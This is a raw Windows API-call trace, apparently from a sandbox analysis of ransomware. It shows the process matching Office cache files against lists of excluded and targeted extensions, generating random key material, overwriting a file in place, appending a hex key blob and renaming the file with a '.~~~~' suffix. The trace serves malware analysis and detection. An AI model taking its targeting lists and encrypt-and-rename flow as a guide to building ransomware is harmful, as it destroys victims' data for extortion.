	[0066.429] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".bdb") returned 0x0
	[0066.429] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0066.429] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0066.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e3f0
	[0066.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0066.429] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0066.430] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0066.430] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0066.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0066.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0066.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0066.430] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=18642034829) returned 1
	[0066.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x94a6f610, dwHighDateTime=0x1d60e1e)) 
	[0066.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0066.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0066.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0066.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c960
	[0066.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0066.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c960 | out: hHeap=0x300000) returned 1
	[0066.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39e958
	[0066.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0066.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6730
	[0066.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e958 | out: hHeap=0x300000) returned 1
	[0066.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0066.431] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0066.431] GetLastError () returned 0x0
	[0066.431] SetLastError (dwErrCode=0x0) 
	[0066.431] GetLastError () returned 0x0
	[0066.431] SetLastError (dwErrCode=0x0) 
	[0066.431] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0066.431] GetLastError () returned 0x0
	[0066.431] SetLastError (dwErrCode=0x0) 
	[0066.431] GetLastError () returned 0x0
	[0066.431] SetLastError (dwErrCode=0x0) 
	[0066.431] GetLastError () returned 0x0
	[0066.431] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.432] SetLastError (dwErrCode=0x0) 
	[0066.432] GetLastError () returned 0x0
	[0066.433] SetLastError (dwErrCode=0x0) 
	[0066.433] GetLastError () returned 0x0
	[0066.433] SetLastError (dwErrCode=0x0) 
	[0066.433] GetLastError () returned 0x0
	[0066.433] SetLastError (dwErrCode=0x0) 
	[0066.433] GetLastError () returned 0x0
	[0066.433] SetLastError (dwErrCode=0x0) 
	[0066.433] GetLastError () returned 0x0
	[0066.433] SetLastError (dwErrCode=0x0) 
	[0066.433] GetLastError () returned 0x0
	[0066.433] SetLastError (dwErrCode=0x0) 
	[0066.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0066.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c94d0
	[0066.622] ReadFile (in: hFile=0x128, lpBuffer=0x3c94d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c94d0*, lpNumberOfBytesRead=0x1f8fec0*=0xc72, lpOverlapped=0x0) returned 1
	[0066.625] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff38e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0066.625] WriteFile (in: hFile=0x128, lpBuffer=0x3c94d0*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c94d0*, lpNumberOfBytesWritten=0x1f8fec0*=0xc72, lpOverlapped=0x0) returned 1
	[0066.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c94d0 | out: hHeap=0x300000) returned 1
	[0066.625] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0066.625] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0066.625] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0066.625] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0066.626] CloseHandle (hObject=0x128) returned 1
	[0066.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0066.627] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.~~~~")) returned 1
	[0066.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0066.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0066.627] GetLastError () returned 0x0
	[0066.627] SetLastError (dwErrCode=0x0) 
	[0066.627] GetLastError () returned 0x0
	[0066.628] SetLastError (dwErrCode=0x0) 
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b740 | out: hHeap=0x300000) returned 1
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3f0 | out: hHeap=0x300000) returned 1
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a53b0 | out: hHeap=0x300000) returned 1
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0066.628] RtlWakeConditionVariable () returned 0x365f70
	[0066.628] GetCurrentThreadId () returned 0xaf0
	[0066.628] GetCurrentThreadId () returned 0xaf0
	[0066.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6c70 | out: hHeap=0x300000) returned 1
	[0066.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc78 | out: hHeap=0x300000) returned 1
	[0066.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6c70
	[0066.628] lstrlenW (lpString=".scr") returned 4
	[0066.628] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".scr") returned 0x0
	[0066.628] lstrlenW (lpString=".cmd") returned 4
	[0066.628] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".cmd") returned 0x0
	[0066.628] lstrlenW (lpString=".dll") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dll") returned 0x0
	[0066.629] lstrlenW (lpString=".bat") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".bat") returned 0x0
	[0066.629] lstrlenW (lpString=".cpl") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".cpl") returned 0x0
	[0066.629] lstrlenW (lpString=".sys") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".sys") returned 0x0
	[0066.629] lstrlenW (lpString=".msc") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".msc") returned 0x0
	[0066.629] lstrlenW (lpString=".com") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".com") returned 0x0
	[0066.629] lstrlenW (lpString=".lnk") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".lnk") returned 0x0
	[0066.629] lstrlenW (lpString=".msp") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".msp") returned 0x0
	[0066.629] lstrlenW (lpString=".pif") returned 4
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".pif") returned 0x0
	[0066.629] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.629] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0066.629] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0066.630] lstrlenW (lpString=".sqb") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".sqb") returned 0x0
	[0066.630] lstrlenW (lpString=".ost") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".ost") returned 0x0
	[0066.630] lstrlenW (lpString=".txt") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".txt") returned 0x0
	[0066.630] lstrlenW (lpString=".mdt") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".mdt") returned 0x0
	[0066.630] lstrlenW (lpString=".BDB") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".BDB") returned 0x0
	[0066.630] lstrlenW (lpString=".eql") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".eql") returned 0x0
	[0066.630] lstrlenW (lpString=".DBF") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DBF") returned 0x0
	[0066.630] lstrlenW (lpString=".EQL") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".EQL") returned 0x0
	[0066.630] lstrlenW (lpString=".FDB") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".FDB") returned 0x0
	[0066.630] lstrlenW (lpString=".EDB") returned 4
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".EDB") returned 0x0
	[0066.630] lstrlenW (lpString=".DACPAC") returned 7
	[0066.630] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0066.630] lstrlenW (lpString=".VHD") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".VHD") returned 0x0
	[0066.631] lstrlenW (lpString=".DBV") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DBV") returned 0x0
	[0066.631] lstrlenW (lpString=".dacpac") returned 7
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dacpac") returned 0x0
	[0066.631] lstrlenW (lpString=".sdf") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".sdf") returned 0x0
	[0066.631] lstrlenW (lpString=".accdb") returned 6
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".accdb") returned 0x0
	[0066.631] lstrlenW (lpString=".DBX") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DBX") returned 0x0
	[0066.631] lstrlenW (lpString=".MDT") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".MDT") returned 0x0
	[0066.631] lstrlenW (lpString=".SQB") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".SQB") returned 0x0
	[0066.631] lstrlenW (lpString=".vhd") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".vhd") returned 0x0
	[0066.631] lstrlenW (lpString=".bac") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".bac") returned 0x0
	[0066.631] lstrlenW (lpString=".mdf") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".mdf") returned 0x0
	[0066.631] lstrlenW (lpString=".BAK") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".BAK") returned 0x0
	[0066.631] lstrlenW (lpString=".BAC") returned 4
	[0066.631] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".BAC") returned 0x0
	[0066.632] lstrlenW (lpString=".dbs") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dbs") returned 0x0
	[0066.632] lstrlenW (lpString=".vhdx") returned 5
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".vhdx") returned 0x0
	[0066.632] lstrlenW (lpString=".NDF") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".NDF") returned 0x0
	[0066.632] lstrlenW (lpString=".dat") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dat") returned 0x0
	[0066.632] lstrlenW (lpString=".DBS") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DBS") returned 0x0
	[0066.632] lstrlenW (lpString=".CKP") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".CKP") returned 0x0
	[0066.632] lstrlenW (lpString=".edb") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".edb") returned 0x0
	[0066.632] lstrlenW (lpString=".PST") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".PST") returned 0x0
	[0066.632] lstrlenW (lpString=".dbf") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dbf") returned 0x0
	[0066.632] lstrlenW (lpString=".SQL") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".SQL") returned 0x0
	[0066.632] lstrlenW (lpString=".pst") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".pst") returned 0x0
	[0066.632] lstrlenW (lpString=".dbv") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dbv") returned 0x0
	[0066.632] lstrlenW (lpString=".SDF") returned 4
	[0066.632] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".SDF") returned 0x0
	[0066.633] lstrlenW (lpString=".dtxs") returned 5
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dtxs") returned 0x0
	[0066.633] lstrlenW (lpString=".db3") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".db3") returned 0x0
	[0066.633] lstrlenW (lpString=".OST") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".OST") returned 0x0
	[0066.633] lstrlenW (lpString=".dbx") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dbx") returned 0x0
	[0066.633] lstrlenW (lpString=".DB3") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DB3") returned 0x0
	[0066.633] lstrlenW (lpString=".DAT") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DAT") returned 0x0
	[0066.633] lstrlenW (lpString=".VHDX") returned 5
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".VHDX") returned 0x0
	[0066.633] lstrlenW (lpString=".ndf") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".ndf") returned 0x0
	[0066.633] lstrlenW (lpString=".DB") returned 3
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DB") returned 0x0
	[0066.633] lstrlenW (lpString=".sql") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".sql") returned 0x0
	[0066.633] lstrlenW (lpString=".MYD") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".MYD") returned 0x0
	[0066.633] lstrlenW (lpString=".DBT") returned 4
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DBT") returned 0x0
	[0066.633] lstrlenW (lpString=".ACCDB") returned 6
	[0066.633] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0066.634] lstrlenW (lpString=".fdb") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".fdb") returned 0x0
	[0066.634] lstrlenW (lpString=".bak") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".bak") returned 0x0
	[0066.634] lstrlenW (lpString=".myd") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".myd") returned 0x0
	[0066.634] lstrlenW (lpString=".DTXS") returned 5
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".DTXS") returned 0x0
	[0066.634] lstrlenW (lpString=".ckp") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".ckp") returned 0x0
	[0066.634] lstrlenW (lpString=".dbt") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".dbt") returned 0x0
	[0066.634] lstrlenW (lpString=".db") returned 3
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".db") returned 0x0
	[0066.634] lstrlenW (lpString=".TXT") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".TXT") returned 0x0
	[0066.634] lstrlenW (lpString=".MDF") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".MDF") returned 0x0
	[0066.634] lstrlenW (lpString=".bdb") returned 4
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".bdb") returned 0x0
	[0066.634] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0066.634] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0066.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e3f0
